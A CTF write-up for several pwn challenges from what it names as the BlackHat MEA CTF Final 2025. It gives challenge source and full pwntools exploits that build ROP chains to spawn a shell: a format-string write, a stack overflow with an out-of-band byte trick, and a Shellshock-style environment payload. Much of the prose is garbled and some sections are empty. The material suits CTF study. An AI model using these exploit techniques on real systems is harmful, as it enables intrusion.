┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: BlackHat MEA CTF Final 2025
~ CuB3y0nd
# Verifmt

## Information

- Category: Pwn

## Description

> Verifmt is a format string converter with a powerful verifier.

## Write-up

便

```c
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int verify_fmt(const char *fmt, size_t n_args) {
  size_t argcnt = 0;
  size_t len = strlen(fmt);

  for (size_t i = 0; i < len; i++) {
    if (fmt[i] == '%') {
      if (fmt[i+1] == '%') {
        i++;
        continue;
      }

      if (isdigit(fmt[i+1])) {
        puts("[-] Positional argument not supported");
        return 1;
      }

      if (argcnt >= n_args) {
        printf("[-] Cannot use more than %lu specifiersn", n_args);
        return 1;
      }

      argcnt++;
    }
  }

  return 0;
}

int main() {
  size_t n_args;
  long args[4];
  char fmt[256];

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  while (1) {
    /* Get arguments */
    printf("# of args: ");
    if (scanf("%lu", &n_args) != 1) {
      return 1;
    }

    if (n_args > 4) {
      puts("[-] Maximum of 4 arguments supported");
      continue;
    }

    memset(args, 0, sizeof(args));
    for (size_t i = 0; i < n_args; i++) {
      printf("args[%lu]: ", i);
      if (scanf("%ld", args + i) != 1) {
        return 1;
      }
    }

    /* Get format string */
    while (getchar() != 'n');
    printf("Format string: ");
    if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
      return 1;
    }

    /* Verify format string */
    if (verify_fmt(fmt, n_args)) {
      continue;
    }

    /* Enjoy! */
    printf(fmt, args[0], args[1], args[2], args[3]);
  }

  return 0;
}
```


使 `%`  `p
rintf(fmt, args[0], args[1], args[2], args[3]);` `printf` 


 `*`  
`%*.*p%*.*p` `*`  `args[0] ~ args[3]`  `p` 
使 `%` 
 `%p` 

 libc 
 `rsi` `fmt`  `%s`  libc便

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()


FILE = "./chall_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc


def set_args(cnt, *args_values, fmt):
    target.sendlineafter(b"# of args: ", str(cnt).encode())

    for i, val in enumerate(args_values):
        if val is not None:
            prompt = f"args[{i}]: "
            target.sendlineafter(prompt.encode(), str(val).encode())

    # raw_input("DEBUG")
    target.sendlineafter(b"Format string: ", fmt)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, targets

    if args.L and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        targets = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
        target = targets[0]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    set_args(4, 1, 2, 3, 4, fmt=b"%*.*p%*.*p %p")

    target.recvuntil(b" ")
    stack = int(target.recvline(), 16)
    pie = stack + 0x158
    ret = stack + 0x170

    target.success(f"stack: {hex(stack)}")
    target.success(f"pie: {hex(pie)}")
    target.success(f"ret: {hex(ret)}")

    set_args(1, ret, fmt=b"%s")
    libc.address = int.from_bytes(target.recv(0x6), "little") - 0x29D90

    set_args(1, pie, fmt=b"%s")
    elf.address = int.from_bytes(target.recv(0x6), "little") - 0x1160

    target.success(f"libc: {hex(libc.address)}")
    target.success(f"pie: {hex(elf.address)}")

    pop_rdi_ret = elf.address + 0x0000000000001282
    binsh = next(libc.search(b"/bin/sh"))
    system = libc.sym["system"]
    align = elf.address + 0x000000000000101A

    set_args(3, pop_rdi_ret & 0xFFFF, 0, ret, fmt=b"%*c%hn")
    set_args(3, (pop_rdi_ret >> 16) & 0xFFFF, 0, ret + 2, fmt=b"%*c%hn")
    set_args(3, (pop_rdi_ret >> 32) & 0xFFFF, 0, ret + 4, fmt=b"%*c%hn")
    set_args(3, binsh & 0xFFFF, 0, ret + 0x8, fmt=b"%*c%hn")
    set_args(3, (binsh >> 16) & 0xFFFF, 0, ret + 0x8 + 2, fmt=b"%*c%hn")
    set_args(3, (binsh >> 32) & 0xFFFF, 0, ret + 0x8 + 4, fmt=b"%*c%hn")
    set_args(3, align & 0xFFFF, 0, ret + 0x10, fmt=b"%*c%hn")
    set_args(3, (align >> 16) & 0xFFFF, 0, ret + 0x10 + 2, fmt=b"%*c%hn")
    set_args(3, (align >> 32) & 0xFFFF, 0, ret + 0x10 + 4, fmt=b"%*c%hn")
    set_args(3, system & 0xFFFF, 0, ret + 0x18, fmt=b"%*c%hn")
    set_args(3, (system >> 16) & 0xFFFF, 0, ret + 0x18 + 2, fmt=b"%*c%hn")
    set_args(3, (system >> 32) & 0xFFFF, 0, ret + 0x18 + 4, fmt=b"%*c%hn")

    target.sendlineafter(b"# of args: ", b"A")
    target.interactive()


if __name__ == "__main__":
    main()
```

# Stack Prelude

## Information

- Category: Pwn

## Description

> It is either easy or impossible.

## Write-up

……



```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv) {
  struct sockaddr_in cli, addr = {0};
  socklen_t clen;
  int cfd, sfd = -1, yes = 1;
  ssize_t n;
  char buf[0x100];
  unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);

  if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("socket");
    goto err;
  }

  if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
    perror("setsockopt(SO_REUSEADDR)");
    goto err;
  }

  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = htonl(INADDR_ANY);
  addr.sin_port = htons(port);

  if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
    perror("bind");
    goto err;
  }

  if (listen(sfd, 1) < 0) {
    perror("listen");
    goto err;
  }

  clen = sizeof(cli);
  if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
    perror("accept");
    goto err;
  }

  while (1) {
    n = 0;
    recv(cfd, &n, sizeof(ssize_t), MSG_WAITALL);
    if (n <= 0 || n >= 0x200)
      break;

    recv(cfd, buf, n, MSG_WAITALL);
    send(cfd, buf, n, 0);
  }

  return 0;

err:
  if (sfd >= 0) close(sfd);
  return 1;
}
```

 socket ……
 FIN 使 `recv`  `recv` 
 `send` 

 FIN  `target.shutdown("write")` 
 `send`  while  
`recv`  0退使
……

~~ fla
gs…… FIN  
flags smh~~

 `MSG_WAITALL` 

1.  (FIN)
2.  (RST)
3. 
4.  `SO_RCVTIMEO` flag
5. 

FIN  fla
g client  flag 
 —— `MSG_OOB` flag  `out-of-band` `send`
使 `urgent byte` TCP  
urgent byte  `SIGURG`  `MSG_WAITAL
L` flag  `recv` 

 socket se
rver  stdin  stdout  socket  shell 


## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    constants,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()


FILE = "./chall_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.L and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.L:
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(argv, env=envp)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch([FILE, "1337"])

    thread[0].sendline(flat(0x120))
    thread[0].sock.send(b"A" * 2, constants.MSG_OOB)

    resp = thread[0].recv(0x120)
    canary = int.from_bytes(resp[0x108:0x110], "little")
    libc.address = int.from_bytes(resp[0x118:0x120], "little") - 0x2A1CA

    thread[0].success(f"canary: {hex(canary)}")
    thread[0].success(f"libc: {hex(libc.address)}")

    raw_input("DEBUG")
    thread[0].sendline(flat(0x188))

    pop_rdi_ret = libc.address + 0x000000000010F78B
    pop_rsi_ret = libc.address + 0x0000000000110A7D
    binsh = next(libc.search(b"/bin/sh"))
    dup2 = libc.sym["dup2"]
    system = libc.sym["system"]
    align = pop_rdi_ret + 1
    payload = flat(
        {
            0x108 - 1: canary,
            0x118 - 1: pop_rdi_ret,
            0x120 - 1: 4,
            0x128 - 1: pop_rsi_ret,
            0x130 - 1: 0,
            0x138 - 1: dup2,
            0x140 - 1: pop_rdi_ret,
            0x148 - 1: 4,
            0x150 - 1: pop_rsi_ret,
            0x158 - 1: 1,
            0x160 - 1: dup2,
            0x168 - 1: align,
            0x170 - 1: pop_rdi_ret,
            0x178 - 1: binsh,
            0x180 - 1: system,
        },
        filler=b"x00",
    )
    raw_input("DEBUG")
    thread[0].sendline(payload)

    thread[0].sendline(flat(0x200))

    thread[0].interactive()


if __name__ == "__main__":
    main()
```

# Stack Impromptu

## Information

- Category: Pwn

## Description

> The word impossible is not in my dictionary.

## Write-up

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>

void fatal(const char *msg) {
  perror(msg);
  pthread_exit(NULL);
}

int server_read(int& fd) {
  size_t size;
  char buf[0x40];

  memset(buf, 0, sizeof(buf));
  if (read(fd, &size, sizeof(size)) != sizeof(size)
      || size > 0x100
      || read(fd, buf, size) < size)
    goto err;

  write(fd, buf, size);
  return 0;

err:
  close(fd);
  fatal("Could not receive data (read)");
  return 1;
}

void* server_main(void* arg) {
  int fd = (int)((intptr_t)arg);
  while (server_read(fd) == 0);
  return NULL;
}

int main(int argc, char** argv) {
  pthread_t th;
  struct sockaddr_in cli, addr = { 0 };
  socklen_t clen;
  int cfd, sfd = -1, yes = 1;
  unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);

  if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("socket");
    goto err;
  }

  if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
    perror("setsockopt(SO_REUSEADDR)");
    goto err;
  }

  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = htonl(INADDR_ANY);
  addr.sin_port = htons(port);

  if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
    perror("bind");
    goto err;
  }

  if (listen(sfd, 5) < 0) {
    perror("listen");
    goto err;
  }

  while (1) {
    clen = sizeof(cli);
    if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
      perror("accept");
      goto err;
    }

    pthread_create(&th, NULL, server_main, (void*)((intptr_t)cfd));
    pthread_detach(th);
  }

  return 0;

err:
  if (sfd >= 0) close(sfd);
  return 1;
}
```



## Exploit

# Stack Rhapsody

## Information

- Category: Pwn

## Description

> Unknown

## Write-up

```c
// gcc -Wall -Wextra -fstack-protector-all -fcf-protection=full -mshstk -fPIE -p
ie -Wl,-z,relro,-z,now chall.c -o chall

#include <stdio.h>
#include <stdlib.h>

int main() {
  char buf[0x10000];
  fgets(buf, 0x100000, stdin);
  system("echo Are you a good pwner?");
  return 0;
}
```

[Shellshock](<https://en.wikipedia.org/wiki/Sh
ellshock_(software_bug)>)

 exp /

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    process,
    raw_input,
    remote,
)
from pwnlib.util.iters import pad

parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()


FILE = "./chall"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.L and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.L:
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    env = b"BASH_FUNC_echo%%=() { /bin/sh; }0".ljust(0x30, b"x00")
    payload = (b"A" * 0xA + env * ((0x10148 - 0xA) // len(env))).ljust(0x10148, 
b"x00")

    target.sendline(payload)
    target.recvuntil(b"Are you a good pwner?", timeout=0.5)
    target.interactive()


if __name__ == "__main__":
    main()
```

# Scream

## Information

- Category: Pwn

## Description

> Keep the secret.

## Write-up



## Exploit

# EDU

## Information

- Category: Pwn

## Description

> QEMU provides an educational device for learning VM escape.
> This bug is intentionally made for educational purpose, right? …… Right?
>
> <https://www.qemu.org/docs/master/specs/edu.html>

## Write-up



## Exploit